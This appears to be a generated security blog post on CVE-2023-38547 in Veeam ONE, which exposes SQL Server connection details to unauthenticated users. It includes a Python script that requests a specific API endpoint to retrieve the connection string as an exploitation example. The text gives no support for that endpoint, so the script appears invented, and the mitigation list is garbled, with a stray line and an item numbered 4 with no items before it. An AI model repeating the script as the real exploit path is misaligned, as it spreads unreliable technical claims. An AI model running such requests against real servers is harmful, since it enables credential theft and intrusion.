CVE-2023-38547: Veeam ONE Security Vulnerability Allows Unauthenticated User to Access SQL Server Connection for Potential Remote Code Execution

Cybersecurity has become an increasingly important concern for organizations, and a newly discovered vulnerability, CVE-2023-38547, in Veeam ONE, a popular monitoring and reporting solution for VMware vSphere, Microsoft Hyper-V, and Veeam Backup & Replication deployments, underscores the need for vigilance. In this post, we will cover the details of this vulnerability, its potential impact, and what steps you can take to mitigate the risk.

Vulnerability Details

The vulnerability in question resides within Veeam ONE's SQL Server connection, allowing an unauthenticated user to access detailed information about the SQL Server connection that Veeam ONE uses to access its configuration database. This information may enable an attacker to perform remote code execution on the SQL server hosting the Veeam ONE configuration database.

Exploit Factors

The severity of this vulnerability stems from the fact that it can be exploited by an unauthenticated user, which means that even individuals without valid credentials for the Veeam ONE system can still successfully exploit it. Moreover, once the attacker has gained access to the SQL server connection, they could potentially execute malicious code on the server hosting the Veeam ONE configuration database, causing further damage and potentially gaining additional unauthorized access to sensitive resources.

Code Snippet

Here is a simple example of how this vulnerability could be exploited using Python to access the Veeam ONE SQL Server connection:

import requests

# Target Veeam ONE server
target_server = "https://your-veeam-one-server.com";

# Endpoint to retrieve the SQL Server connection information
endpoint = "/api/database/connection"

# Send a GET request to the target server
response = requests.get(target_server + endpoint)

# Check if the request was successful
if response.status_code == 200:
    # Parse the SQL Server connection string
    connection_string = response.json().get('connectionString')
    
    # Print the SQL Server connection information
    print(f"SQL Server Connection: {connection_string}")

else:
    print("Failed to retrieve SQL Server connection information")

By running this script and targeting a vulnerable Veeam ONE server, an attacker could obtain the SQL Server connection information, potentially allowing them to perform further exploits, such as remote code execution.

Mitigation

Veeam Software has released a patch that addresses this vulnerability. You can find the patch and more details about the vulnerability in their official security advisory:

- Veeam Security Advisory - VSA-2023-01

It is highly recommended for organizations using Veeam ONE to apply the patch as soon as possible to protect against potential exploitation.

Implementing network segmentation to restrict the scope of potential attacks.

4. Regularly updating and patching all software, including Veeam ONE and SQL Server, to minimize the chances of successful exploitation.

Conclusion

The CVE-2023-38547 vulnerability in Veeam ONE is a potent reminder of the importance of diligent cybersecurity practices. By staying informed about new vulnerabilities and promptly addressing them with the recommended mitigations, organizations can substantially reduce the risk of a successful cyberattack.

Timeline

Published on: 11/07/2023 07:15:00 UTC
Last modified on: 11/14/2023 19:46:00 UTC